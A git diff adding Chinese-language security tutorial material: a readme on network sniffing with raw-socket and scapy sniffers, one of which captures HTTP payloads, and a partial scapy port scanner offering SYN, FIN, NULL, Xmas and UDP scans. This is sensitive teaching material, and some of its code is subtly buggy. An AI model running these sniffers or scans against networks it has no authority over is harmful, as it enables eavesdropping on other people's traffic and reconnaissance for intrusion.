"b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/17.png" new file mode 100644 index 0000000..8b395b7 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/17.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/18.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/18.png" new file mode 100644 index 0000000..27758f4 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/18.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/2.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/2.png" new file mode 100644 index 0000000..7cbf95e Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/2.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/3.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/3.png" new file mode 100644 index 0000000..a45a60a Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/3.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/4.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/4.png" new file mode 100644 index 0000000..8f3c65f Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/4.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/5.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/5.png" new file mode 100644 index 0000000..b992c54 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/5.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/6.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/6.png" new file mode 100644 index 0000000..56a318c Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/6.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/7.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/7.png" new file mode 100644 index 0000000..9418232 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/7.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/8.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/8.png" new file mode 100644 index 0000000..5180be0 Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/8.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/9.png" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/9.png" new file mode 100644 index 0000000..4c1e67d Binary files /dev/null and "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/img/9.png" differ diff --git "a/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/readme.md" "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/readme.md" new file mode 100644 index 0000000..2dfb9be --- /dev/null +++ "b/3.6 \347\275\221\347\273\234\345\227\205\346\216\242/readme.md" @@ -0,0 +1,575 @@ +## 3.6 网络嗅探 + +网络嗅探,是监听流经本机网卡数据包的一种技术,嗅探器就是利用这种技术进行数据捕获和分析的软件。 + +编写嗅探器,捕获数据是前置功能,数据分析要建立在捕获的基础上。本节就数据捕获的基本原理和编程实现做详细的阐述。 + +### 3.6.1 以太网网卡的工作模式 + +![](img/1.jpg)] + +以太网网卡是我们日常生活中见得最多的网卡,常用的以太网卡支持以下工作模式:广播模式、多播模式、直接模式和混杂模式。 + +1. 广播模式(Broad Cast Model):它的物理地址(MAC)地址是 0Xffffff 的帧为广播帧,工作在广播模式的网卡接收广播帧。它将会接收所有目的地址为广播地址的数据包,一般所有的网卡都会设置为这个模式。 + +2. 多播传送(MultiCast Model):多播传送地址作为目的物理地址的帧可以被组内的其它主机同时接收,而组外主机却接收不到。但是,如果将网卡设置为多播传送模式,它可以接收所有的多播传送帧,而不论它是不是组内成员。当数据包的目的地址为多播地址,而且网卡地址是属于那个多播地址所代表的多播组时,网卡将接纳此数据包,即使一个网卡并不是一个多播组的成员,程序也可以将网卡设置为多播模式而接收那些多播的数据包。 + +3. 直接模式(Direct Model):工作在直接模式下的网卡只接收目地址是自己 Mac地址的帧。只有当数据包的目的地址为网卡自己的地址时,网卡才接收它。 + +4. 混杂模式(Promiscuous Model):工作在混杂模式下的网卡接收所有的流过网卡的帧,信包捕获程序就是在这种模式下运行的。网卡的缺省工作模式包含广播模式和直接模式,即它只接收广播帧和发给自己的帧。如果采用混杂模式,网卡将接受同一网络内所有主机发送的数据包。 + +利用网卡混杂模式的特性,就可以到达对于网络信息监听捕获的目的。 + +需要注意的是,并不是任何情况下,网络中的数据都会流经你的网卡,比如交换机网络,交换机会绑定端口和MAC,此时就需要上一章讲到的ARP欺骗了。 + +### 3.6.2 设置网卡为混杂模式 + +在Linux中,我们可以通过ifconfig和iwconfig配置网络接口的信息。正常情况下输入ifconfig,虚拟机中显示如下: + +![](img/2.png)] + +通过命令 +``` +ifconfig eth0 promisc +``` +可以将eth0设置为混杂模式,下图中圈红的部分,表示当前网卡处于混杂模式。 +![](img/3.png)] + +通过 +``` +ifconfig eth0 -promisc +``` +可以取消网卡的混杂模式。 + +ifconfig 对无线网卡同样适用。 + +windows 下设置混杂模式的手工模式如下: + + 1. 打开网络和共享中心,点击“本地连接”,选择“属性”,选择“配置”。 + ![](img/4.png)] + ![](img/5.png)] + 2. 选择“高级”选项卡,选择“速度和双工”,“值”选择“自动协商”,保存设置。 + ![](img/6.png)] + + + + ### 3.6.3 无线网卡的监听模式 + + 对于无线网卡,我们可以使用iwconfig的mode参数来配置混杂模式,mode的选项值如下: + +1) Ad-hoc:不带AP的点对点无线网络 + +2) Managed:通过多个AP组成的网络,无线设备可以在这个网络中漫游 + +3) Master:设置该无线网卡为一个AP + +4) Repeater:设置为无线网络中继设备,可以转发网络包 + +5) Secondary:设置为备份的AP/Repeater + +6) Monitor:监听模式 + +7) Auto:由无线网卡自动选择工作模式 + +使用如下命令可以设置无线网卡为监听模式: + +``` +ifconfig wlan0 down +iwconfig wlan0 mode monitor +ifconfig wlan0 up +``` + +在 kali linux中我们通过iwconfig来设置监听模式,可能会遇到点困难,无线网卡设置成监听模式后,过几秒又变成manage模式了。这是由于Network Manage服务造成,我们可以关闭该服务。 + +监听模式和上文的混杂模式有什么区别呢? + +混杂模式是在wifi连接到指定网络中,监听子网中的数据传输;监听模式下wifi会断网,进而监听某一个信道内所有传输流量,因此可以用来扫描wifi热点,破解wifi密码等工作。 + +### 3.6.4 基于Raw Socket的Sniffer开发 + +Raw Socket是一种较为底层的socket编程接口,可以用来获取IP层以上的数据,所以可以用来编写Sniffer。一个完整的sniffer代码组成,大致分为创建socket对象,接收数据,分析数据三个部分。其中开启网卡的混杂模式,需要配置socket对象的属性。在开启混杂模式方面,Linux上要比windows上复杂一点,我们先从简单的情况开始。 + +#### 3.6.4.1 可以在windows上运行的Sniffer + +我们先实现一个在windows上能运行的嗅探器。新建sniffer_windows.py文件,先定义核心类的基本结构: + +```Python +# -*- coding: UTF-8 -*- +import os +import socket +import ctypes + +class PromiscuousSocket (object): + def __init__(self): + pass + + def __enter__(self): + pass + + def __exit__(self, *args, **kwargs): + pass + +def sniffer(count,iface, bufferSize=65565, showPort=False, showRawData=False): + pass + +def printPacket(package, showPort, showRawData): + pass +``` + +在上面的代码中,我们首先定义了一个类——PromiscuousSocket,这个类负责创建一个绑定到当前主机名绑定的网卡上的raw socket对象,并设置启动混杂模式。PromiscuousSocket类有三个方法,分别为类的构造函数,另外两个函数是用于with关键字的块作用域的起止函数。sniffer函数会创建PromiscuousSocket类的实例,并使用它接收和分析数据。printPacket方法用来显示捕获的数据内容。 + +接下来我们来完善核心的PromiscuousSocket类,在__init__方法中,我们创建socket对象,并绑定到对象的s字段上。实现如下 + +```Python + def __init__(self): + HOST = socket.gethostbyname(socket.gethostname()) + s = socket.socket(socket.AF_INET, socket.SOCK_RAW,socket.IPPROTO_IP) + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) + s.bind((HOST, 0)) + s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) + + self.s = s +``` +上面的代码中,我们首先获取本机的IP地址,随后调用如下代码创建一个原始套接字: + +```Python +s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP) +``` +一个字段family我们选择ipv4;第二个字段type,选择raw socket。 + +接下来调用setsockopt方法对原始套接字的相关属性进行设置。setsockopt函数是用来对socket对象进行补充选项的设置,三个参数的分别为level、选项名称和值。level支持SOL_SOCKET、IPPROTO_TCP、IPPROTO_IP和IPPROTO_IPV6。不同协议对应的选项不同,具体内容可以参考 https://docs.microsoft.com/zh-cn/windows/desktop/WinSock/socket-options。 + +先来设置SO_REUSEADDR选项: +``` + s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) +``` +该选项可以让多个socket对象绑定到相同的地址和端口上。之后我们调用bind方法,来绑定socket。 + +```Python + s.bind((HOST, 0)) +``` +接下来再次调用setsockopt: + +```Python + + s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) +``` +设置ip协议层的IP_HDRINCL选项,该选项只能和原始套接字配合使用。当开启该参数时,我们可以从IP报文首部第一个字节开始依次构造整个IP报文的所有选项,但是IP报文头部中的标识字段(设置为0时)和IP首部校验和字段总是由内核自己维护的,不需要我们关心。如果不开启该参数:我们所构造的报文是从IP首部之后的第一个字节开始,IP首部由内核自己维护,首部中的协议字段被设置成调用socket()函数时我们所传递给它的第三个参数。 + +最后调用ioctl函数来开启网卡的混杂模式: +``` + s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) +``` +调用ioctl传入的两个参数,第一个指定设置的类型为接收所有数据,第二个参数要和第一个对应,使用RCVALL_ON来开启。 + +至此,我们完成了原始套接字的构造工作,下面看__enter__和__exit__方法。 + +```Python + def __enter__(self): + return self.s + + def __exit__(self, *args, **kwargs): + self.s.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) +``` +__enter__方法很简单,返回创建的socket对象。__exit__方法中,我们调用ioctl方法通过RCVALL_OFF来关闭混杂模式。 + +接下来完善sniffer函数: + +```Python +def sniffer(count, bufferSize=65565, showPort=False, showRawData=False): + with PromiscuousSocket() as s: + for i in range(count): + package = s.recvfrom(bufferSize) + print(package) +``` + +sniff方法创建PromiscuousSocket的一个实例,利用其接收数据包,然后打印捕获的内容。想要进一步解析捕获的数据包内容,需要依照协议逐字节去解析,不是文本的重点就不要再深入讲解了。完整代码如下: + +```Python +# -*- coding: UTF-8 -*- +import os +import socket +import ctypes + +class PromiscuousSocket (object): + def __init__(self): + HOST = socket.gethostbyname(socket.gethostname()) + s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_IP) + s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) + s.bind((HOST, 0)) + s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) + + self.s = s + + def __enter__(self): + return self.s + + def __exit__(self, *args, **kwargs): + self.s.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) + +def sniffer(count, bufferSize=65565): + with PromiscuousSocket() as s: + for i in range(count): + package = s.recvfrom(bufferSize) + print(package) + + + +if __name__ == '__main__': + sniffer(count=10) + +``` + +上面的代码在Linux上运行唯一的问题是ioctl函数并没有被暴露出来,无法调用。 + +#### 3.6.4.2 解决Linux上开启网卡混杂模式的问题 + +上面设置混杂模式的代码: +``` + s.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) +``` +在linux上无法运行,ioctl函数和socket.SIO_RCVALL, socket.RCVALL_ON都没有被暴露出来,但是系统底层的C结构体是有这样的定义的,我们可以通过fcntl模块的fcntl.ioctl方法来配置选项。和上面类似,我们搭建基本的程序结构。如下: + +```Python +import os +import socket +import ctypes +import fcntl + +class ifreq(ctypes.Structure): + pass + + +class FLAGS(object): + pass + + + +class PromiscuousSocketManager(object): + def __init__(self): + pass + + def __enter__(self): + pass + + def __exit__(self, *args, **kwargs): + pass + +def sniffer(count, bufferSize=65565): + pass + +``` + +和windows的实现对比,我们新增了ifreq类和FLAGS类。我们先将需要用到的枚举值封装到FLAGS类中: + +```Python +class FLAGS(object): + # linux/if_ether.h + ETH_P_ALL = 0x0003 # all protocols + ETH_P_IP = 0x0800 # IP only + # linux/if.h + IFF_PROMISC = 0x100 + # linux/sockios.h + SIOCGIFFLAGS = 0x8913 # get the active flags + SIOCSIFFLAGS = 0x8914 # set the active flags +``` + +由于fcntl.ioctl只是linux系统调用的的一个接口,其对应的c接口接收参数为结构体,我们定义ifreq类来实现结构体封装: + +```Python +class ifreq(ctypes.Structure): + _fields_ = [("ifr_ifrn", ctypes.c_char * 16), + ("ifr_flags", ctypes.c_short)] +``` +该类继承自ctypes.Structure类,使用它我们可以通过字符串中转c结构体字段的值。 + +下面来看PromiscuousSocketManager类的实现: + +```Python +class PromiscuousSocketManager(object): + def __init__(self): + import fcntl # posix-only + # htons: converts 16-bit positive integers from host to network byte order + s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(FLAGS.ETH_P_ALL)) + ifr = ifreq() + ifr.ifr_ifrn = b'en0' #写死了,可以通过参数传递进来 + fcntl.ioctl(s, FLAGS.SIOCGIFFLAGS, ifr) # 获取标记字段的名称 + ifr.ifr_flags |= FLAGS.IFF_PROMISC # 添加混杂模式的值 + fcntl.ioctl(s, FLAGS.SIOCSIFFLAGS, ifr) # 更新socket + self.ifr = ifr + self.s = s + + def __enter__(self): + return self.s + + def __exit__(self, *args, **kwargs): + self.ifr.ifr_flags ^= FLAGS.IFF_PROMISC # mask it off (remove) + fcntl.ioctl(self.s, FLAGS.SIOCSIFFLAGS, self.ifr) # update +``` +上面的代码中,注意几个地方。htons方法用来将16bit的正数的字节顺序转换为网络传输的顺序(所谓的大端,小端)。我们创建了一个ifreq类的实例 ifr,接下来设置绑定的网卡的名字,这里程序写死了,需要根据实际情况调整。通过 +```Python +fcntl.ioctl(s, FLAGS.SIOCGIFFLAGS, ifr) # 获取标记字段的名称 +``` +将当前socket已经有的Flag获取到,然后加上设置混杂模式的数值,再通过 +``` +fcntl.ioctl(s, FLAGS.SIOCSIFFLAGS, ifr) # 更新 +``` +更新给socket对象,从而开启混杂模式。 + +在__exit__方法中,取消混杂模式的代码也和windows下不同,设置上关闭标志,然后更新socket对象: + +```Python +def __exit__(self, *args, **kwargs): + self.ifr.ifr_flags ^= FLAGS.IFF_PROMISC # mask it off (remove) + fcntl.ioctl(self.s, FLAGS.SIOCSIFFLAGS, self.ifr) # update +``` + +Linux下的嗅探器开发完毕了,完整代码如下: + +```Python +import os +import socket +import ctypes +import fcntl +### +# 结构体封装 + +class ifreq(ctypes.Structure): + _fields_ = [("ifr_ifrn", ctypes.c_char * 16), + ("ifr_flags", ctypes.c_short)] +### +# 需要用到的枚举值 + +class FLAGS(object): + # linux/if_ether.h + ETH_P_ALL = 0x0003 # all protocols + ETH_P_IP = 0x0800 # IP only + # linux/if.h + IFF_PROMISC = 0x100 + # linux/sockios.h + SIOCGIFFLAGS = 0x8913 # get the active flags + SIOCSIFFLAGS = 0x8914 # set the active flags + + + +class PromiscuousSocketManager(object): + def __init__(self): + import fcntl # posix-only + # htons: converts 16-bit positive integers from host to network byte order + s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW, socket.htons(FLAGS.ETH_P_ALL)) + ifr = ifreq() + ifr.ifr_ifrn = b'en0' #写死了,可以通过参数传递进来 + fcntl.ioctl(s, FLAGS.SIOCGIFFLAGS, ifr) # get the flags + ifr.ifr_flags |= FLAGS.IFF_PROMISC # add the promiscuous flag + fcntl.ioctl(s, FLAGS.SIOCSIFFLAGS, ifr) # update + self.ifr = ifr + self.s = s + + def __enter__(self): + return self.s + + def __exit__(self, *args, **kwargs): + self.ifr.ifr_flags ^= FLAGS.IFF_PROMISC # mask it off (remove) + fcntl.ioctl(self.s, FLAGS.SIOCSIFFLAGS, self.ifr) # update + +def sniffer(count, bufferSize=65565): + + with PromiscuousSocketManager() as s: + for i in range(count): + package = s.recvfrom(bufferSize) + print(package) + + +if __name__ == '__main__': + sniffer(count=10) +``` + +基于原始套接字从头来实现嗅探器比较繁琐,还有一个大的问题就是数据解析,捕获到的数据需要按照协议来逐字节进行解析才能取到可读的内容。下面我们来看看如何基于scapy来实现嗅探功能。 + +### 3.6.5 基于scapy实现sniffer + +scapy的sniff方法可以直接被用来实现嗅探功能,我们可以在scapy的交互窗口中使用help来查看sniff方法的说明。 + +```Py +sniff(count=0, store=True, offline=None, prn=None, lfilter=None, L2socket=None, timeout=None, opened_socket=None, stop_filter=None, iface=None, started_callback=None, *arg, **karg) + Sniff packets and return a list of packets. + + Args: + count: number of packets to capture. 0 means infinity. + store: whether to store sniffed packets or discard them + prn: function to apply to each packet. If something is returned, it + is displayed. + --Ex: prn = lambda x: x.summary() + filter: BPF filter to apply. + lfilter: Python function applied to each packet to determine if + further action may be done. + --Ex: lfilter = lambda x: x.haslayer(Padding) + offline: PCAP file (or list of PCAP files) to read packets from, + instead of sniffing them + timeout: stop sniffing after a given time (default: None). + L2socket: use the provided L2socket (default: use conf.L2listen). + opened_socket: provide an object (or a list of objects) ready to use + .recv() on. + stop_filter: Python function applied to each packet to determine if + we have to stop the capture after this packet. + --Ex: stop_filter = lambda x: x.haslayer(TCP) + iface: interface or list of interfaces (default: None for sniffing + on all interfaces). + monitor: use monitor mode. May not be available on all OS + started_callback: called as soon as the sniffer starts sniffing + (default: None). + + The iface, offline and opened_socket parameters can be either an + element, a list of elements, or a dict object mapping an element to a + label (see examples below). + + Examples: + >>> sniff(filter="arp") + >>> sniff(lfilter=lambda pkt: ARP in pkt) + >>> sniff(iface="eth0", prn=Packet.summary) + >>> sniff(iface=["eth0", "mon0"], + ... prn=lambda pkt: "%s: %s" % (pkt.sniffed_on, + ... pkt.summary())) + >>> sniff(iface={"eth0": "Ethernet", "mon0": "Wifi"}, + ... prn=lambda pkt: "%s: %s" % (pkt.sniffed_on, + ... pkt.summary())) +``` + +参数说明已经很清楚了,过滤数据包可以使用filter,lfilter,stop_filter,filter是过滤表达式, lfilter 和stopfilter 是python函数。前两者作用一样,用来过滤我们需要的数据包,stopfilter返回布尔值,表示是否终止监听。 prn是数据包的处理函数,我们要在此做数据包的解析,分析等工作。 新建sniffer_scapy.py文件,添加测试代码: + +```Python +# -*- coding: UTF-8 -*- +from scapy.all import * + +scapy.config.conf.sniff_promisc=True #设置混杂模式 + +def packetHandler(pkt): + dport = pkt[IP][TCP].dport + if dport==80 and pkt[IP][TCP].payload: + print('捕获http请求:',pkt[IP][TCP].payload) +if __name__ == '__main__': + sniff(filter='tcp and port 80',prn=packetHandler,iface='en0') +``` + +上面的代码我们调用 sniff 函数,通过 'tcp and port 80' 表达式来过滤http请求。通过iface传入网卡名称。prn指向自定义的函数packetHandler。在packetHandler函数中,我们通过对数据包对象(pkt)进行分层解析来得到http协议的数据。运行结果如下: + +![](img/13.png) + +关于filter表达式语法,下面简单说明一下: + +
+1. type(定义了类型) + +可选值:host, net, port, portrange + +例如: +``` +host hostnameA +net 172.31  //相当于172.31.0.0/16,又例如:192.168.1相当于192.168.1.0/24 +port 80 +portrange 6000-6010 +``` + +2. zdir(direction,定义了传输方向) + +可选值:src, dst, src or dst, src and dst + +例如: +``` +src net 172.31 +src or dst port 21 +``` + +3. proto(protocol定义了网络协议) + +可选值:ether, fddi, tr, wlan, ip, ip6, arp, rarp, decnet, tcp, udp, icmp +(fddi, tr, wlan是ether的别名, 包结构很类似) + +例如: +``` +ether src hostnameA +arp net 172.31 +udp portrange 7000-8000 +``` +  + +4. 连接词:and, or, not + +例如: +``` +tcp or udp +not icmp +``` + + +常用的一些表达式([]表示可选项,/表示并列可选项): +格式 | 说明 +------------------|----- +[src/dst] host host | IPv4/v6的[源/目的]主机为host,既可以是IP地址又可以是hostname,前面可以追加ip,arp, rarp或ip6,例如:ip host host +ether host/src/dstehost | 以太网地址/源地址/目的地址为ehost,ehost可以是名称或number +gateway host | 报文以host作为gateway +[src/dst] net net |IPv4/v6[源/目的]地址的网络号为net,net既可以是一个网络名也可以是一个网络号,IPv4的网络号可以写成点分式,例如:192.168.1.0,或者192.168.1(等价于192.168.1.0/24),或者172.16(等价于172.16.0.0/16),或者10(等价于10.0.0.0/8)。IPv6的掩码为ff:ff:ff:ff:ff:ff,所以IPv6的地址匹配模式为全匹配,需要完全匹配对应的主机IPv6地址 +net net mask netmask|匹配网络号和掩码,掩码格式例如:255.255.0.0,IPv6不支持此语法 +net net/len |netmask的另一种写法,len指定子网掩码的长度 +[src/dst] port port | 匹配[源/目的]端口号 +[src/dst] portrangeport1-port2 | 匹配[源/目的]端口范围 +less length | 报文长度小于等于length,等价于len <= length +greater length | 报文长度大于等于length,等价于len>= length +ip proto protocol | 匹配IPv4,协议类型为protocol,protocol可取值为:icmp, icmp6, igmp, igrp, pim, ah,esp, vrrp, udp, tcp,注意icmp, tcp, udp也是关键字,所以需要使用“\”进行转义 +ip6 proto protocol | 匹配IPv6的协议 +ip/ip6 protochain protocol | 匹配IPv4/v6协议,协议中的protocolheader chain中包含protocol,例如:ip6 protochain 6(注:6代表TCP) ![](img/14.png) +ether broadcast | 匹配以太网广播报文 +ip broadcast | 匹配IPv4广播报文 + +
+ +scapy对数据包进行很好的对象封装,我们可以对照协议来进行数据包分析。一个标准的以太网数据包(包含用户层协议)整体结构如下: + + +![](img/16.jpg) + +我们在做数据包解析的时候,也是按照上图的层级一层层的向上解析。下面以上面捕获http报文为例进行分析,我们在源码打下断点,然后启动调试。 + +![](img/15.png) + +程序起来之后打开浏览器,打开一个http站点,程序捕获80端口的数据之后会自动断住。根据我们已有的知识进行预判,我们会先捕获Tcp三次握手的数据包,然后才是浏览器的http请求报文。 + +![](img/7.png) + +断点断住之后,我们查看pkt对象,在调试信息窗口可以看到这是一个以太网数据包,payload字段是IP层报文。下面展开payload,对照IP数据报再来分析。 + +![](img/17.png) + +IP报文的payload是一个TCP报文,我们 继续展开,对照TCP报文继续分析。 + +![](img/18.png) + +TCP的payload字段就是http协议的报文了,scapy没有对http协议做进一步的解析,我们可以使用一些scapy的增强插件来做进一步分析,后续教程会有介绍。 +![](img/12.png) + +### 3.6.6 小结 + +本节中我们学习了原始套接字编程基础,基于原始套接字实现了简单的嗅探工具,同时学习了scapy的sniff函数的的使用方法,以及scappy的数据分析基础。本节作业如下: + +1. 将我们基于原始套接字实现的windows和linux系统下的两套代码整合成一套 +2. 使用scapy实现自己的嗅探工具 +3. 结合3.5节 ARP欺骗的内容,思考中间人攻击的实现原理s + +下一节,我们一同学如何开发一个端口扫描器。 + + 欢迎到关注微信订阅号,交流学习中的问题和心得 + + +![](img/0.jpg) + + 本系列教程全部内容在玄说安全--入门圈发布,并提供答疑和辅导。 + +![](img/00.jpeg) + + + + + + + diff --git a/3.6.pdf b/3.6.pdf new file mode 100644 index 0000000..7afc55d Binary files /dev/null and b/3.6.pdf differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/3.7.pdf" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/3.7.pdf" new file mode 100644 index 0000000..0e4e6e9 Binary files /dev/null and "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/3.7.pdf" differ diff --git "a/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/code/portScan.py" "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/code/portScan.py" new file mode 100644 index 0000000..4948070 --- /dev/null +++ "b/3.7 \347\253\257\345\217\243\346\211\253\346\217\217/code/portScan.py" @@ -0,0 +1,185 @@ +# -*- coding: UTF-8 -*- + +import argparse +from scapy.all import * + +bannerText=""" +██╗ ██╗██╗ ██╗ █████╗ ███╗ ██╗ ██╗ ██╗██╗ ██╗███╗ ██╗ +╚██╗██╔╝██║ ██║██╔══██╗████╗ ██║ ██║ ██║██║ ██║████╗ ██║ + ╚███╔╝ ██║ ██║███████║██╔██╗ ██║ ███████║██║ ██║██╔██╗ ██║ + ██╔██╗ ██║ ██║██╔══██║██║╚██╗██║ ██╔══██║██║ ██║██║╚██╗██║ +██╔╝ ██╗╚██████╔╝██║ ██║██║ ╚████║ ██║ ██║╚██████╔╝██║ ╚████║ +╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═══╝ ╚═╝ ╚═╝ ╚═════╝ ╚═╝ ╚═══╝ + +端口扫描器 by 玄魂工作室 +微信订阅号 : xuanhun521 +Github : https://github.com/xuanhun + """ + + +#答疑端口状态 +def print_ports(port, state): + print("%s | %s" % (port, state)) + +def tcpScan(target,ports): + print("tcp全连接扫描 %s with ports %s" % (target, ports)) + for port in ports: + send=sr1(IP(dst=target)/TCP(dport=port,flags="S"),timeout=2,verbose=0) + if (send is None): + print_ports(port,"closed") + elif send.haslayer("TCP"): + print(send["TCP"].flags) + if send["TCP"].flags == "SA": + send_1 = sr1(IP(dst=target) / TCP(dport=port, flags="AR"), timeout=2, verbose=0) + print_ports(port,"opend") + elif send["TCP"].flags == "RA": + print_ports(port,"closed") + + +def synScan(target,ports): + print("tcp SYN扫描 %s with ports %s" % (target, ports)) + for port in ports: + send=sr1(IP(dst=target)/TCP(dport=port,flags="S"),timeout=2,verbose=0) + if (send is None): + print_ports(port,"closed") + elif send.haslayer("TCP"): + print(send["TCP"].flags) + if send["TCP"].flags == "SA": + send_1 = sr1(IP(dst=target) / TCP(dport=port, flags="R"), timeout=2, verbose=0)#只修改这里 + print_ports(port,"opend") + elif send["TCP"].flags == "RA": + print_ports(port,"closed") + +def ackScan(target,ports): + print("tcp ack扫描 %s with ports %s" % (target, ports)) + for port in ports: + ack_flag_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="A"),timeout=5) + print(str(type(ack_flag_scan_resp))) + if (str(type(ack_flag_scan_resp))==""): + print_ports(port,"filtered") + elif(ack_flag_scan_resp.haslayer(TCP)): + if(ack_flag_scan_resp.getlayer(TCP).flags == "R"): + print_ports(port,"unfiltered") + elif(ack_flag_scan_resp.haslayer(ICMP)): + if(int(ack_flag_scan_resp.getlayer(ICMP).type)==3 and int(ack_flag_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): + print_ports(port,"filtered") + else: + print_ports(port,"filtered") + + +def windowScan(target,ports): + print("tcp window扫描 %s with ports %s" % (target, ports)) + for port in ports: + window_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="A"),timeout=5) + print(str(type(window_scan_resp))) + if (str(type(window_scan_resp))==""): + print_ports(port,"close") + elif(window_scan_resp.haslayer(TCP)): + if(window_scan_resp.getlayer(TCP).window == 0): + print_ports(port,"close") + elif(window_scan_resp.getlayer(TCP).window > 0): + print_ports(port,"open") + else: + print_ports(port,"close") + +def nullScan(target,ports): + print("tcp NULL 扫描 %s with ports %s" % (target, ports)) + for port in ports: + null_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags=""),timeout=5) + if (str(type(null_scan_resp))==""): + print_ports(port,"Open|Filtered") + elif(null_scan_resp.haslayer(TCP)): + if(null_scan_resp.getlayer(TCP).flags == "R" or null_scan_resp.getlayer(TCP).flags == "A"): + print_ports( port,"Closed") + elif(null_scan_resp.haslayer(ICMP)): + if(int(null_scan_resp.getlayer(ICMP).type)==3 and int(null_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): + print_ports(port, "Filtered") + + +def finScan(target,ports): + print("tcp FIN 扫描 %s with ports %s" % (target, ports)) + for port in ports: + fin_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="F"),timeout=5) + if (str(type(fin_scan_resp))==""): + print_ports(port, "Open|Filtered") + elif(fin_scan_resp.haslayer(TCP)): + if(fin_scan_resp.getlayer(TCP).flags == 0x14): + print_ports(port, "Closed") + elif(fin_scan_resp.haslayer(ICMP)): + if(int(fin_scan_resp.getlayer(ICMP).type)==3 and int(fin_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): + print_ports(port, "Filtered") + + +def xmaxScan(target,ports): + print("tcp xmax 扫描 %s with ports %s" % (target, ports)) + for port in ports: + fin_scan_resp = sr1(IP(dst=target)/TCP(dport=port,flags="FPU"),timeout=5) + if (str(type(fin_scan_resp))==""): + print_ports(port, "Open|Filtered") + elif(fin_scan_resp.haslayer(TCP)): + if(fin_scan_resp.getlayer(TCP).flags == "R"): + print_ports(port, "Closed") + elif(fin_scan_resp.haslayer(ICMP)): + if(int(fin_scan_resp.getlayer(ICMP).type)==3 and int(fin_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): + print_ports(port, "Filtered") + +def udpScan(target,ports): + print("UDP 扫描 %s with ports %s" % (target, ports)) + for port in ports: + udp_scan_resp = sr1(IP(dst=target)/UDP(dport=port),timeout=5) + if (str(type(udp_scan_resp))==""): + print_ports(port, "Open|Filtered") + elif(udp_scan_resp.haslayer(UDP)): + if(udp_scan_resp.getlayer(TCP).flags == "R"): + print_ports(port, "Open") + elif(udp_scan_resp.haslayer(ICMP)): + if(int(udp_scan_resp.getlayer(ICMP).type)==3 and int(udp_scan_resp.getlayer(ICMP).code) in [1,2,3,9,10,13]): + print_ports(port, "Filtered") + + +if __name__ == '__main__': + + print(bannerText) + + parser = argparse.ArgumentParser("") + parser.add_argument("-t", "--target", help="目标IP", required=True) + parser.add_argument("-p", "--ports", type=int, nargs="+", help="指定端口列表 (21 23 80 ...)") + parser.add_argument("-s", "--scantype", help=""" + "T":全连接扫描 + 